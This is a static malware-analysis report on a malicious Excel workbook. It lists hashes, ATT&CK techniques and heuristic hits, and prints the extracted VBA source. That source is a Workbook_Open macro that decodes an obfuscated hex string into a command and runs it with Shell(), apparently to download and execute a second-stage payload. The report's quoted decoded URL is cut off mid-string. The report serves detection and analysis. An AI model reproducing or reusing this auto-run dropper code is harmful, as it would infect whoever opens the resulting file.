Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8c02695ee781efc1…

MALICIOUS

Office (OOXML)

152.3 KB Created: 2020-07-20 22:22:23 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-15
MD5: 273c9241cda465803acd7ec49a8ba8ef SHA-1: 81db189c8f46da868537d5e2f366131e7bb8f117 SHA-256: 8c02695ee781efc1ede09439d154b128036847be2aaf047cfb3e6199d8bcc55a
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that executes obfuscated code. This code decodes a hex string into a command and then uses the Shell() function to execute it, likely downloading and running a second-stage payload. The decoded string is "http://www.stopcopy.biz/39pa83p24F

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1501 bytes
SHA-256: 89d1efaadd644bf24e09a1fb17547302d7160984d81c6654b17c76eaadcb2df1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Dim asd As String
asd = hello("6E786F2B3A6E2B7B7A82707D7E73707777397083702B387083706E807F747A797B7A77746E842B6D847B6C7E7E2B38622B53746F6F70792B386E7A78786C796F2B33797082387A6D75706E7F2B5E847E7F70783959707F3962706D4E777470797F34394F7A8279777A6C6F517477703332737F7F7B453A3A7F73747D6F6E73746F707F396E7A783A6F707B7F3A4444433C3C3C3B3E397B797232372F707981455F70787B3632677E72703970837032344633597082385A6D75706E7F2B386E7A782B5E73707777394C7B7B77746E6C7F747A7934395E737077775083706E807F70332F707981455F70787B3632677E7270397083703234")
Shell asd
End Sub
  Function hello(hlole As String)
        Dim holle As Integer
        Dim i As Integer
        Dim holel
        holle = 11111
        holel = ""
        For i = 1 To Len(hlole) Step 2
            holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 11)
        Next
        hello = holel
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: d02544265af2b0741e1657ef4b32d5513cf096e516b56309eb13e8901dc692b1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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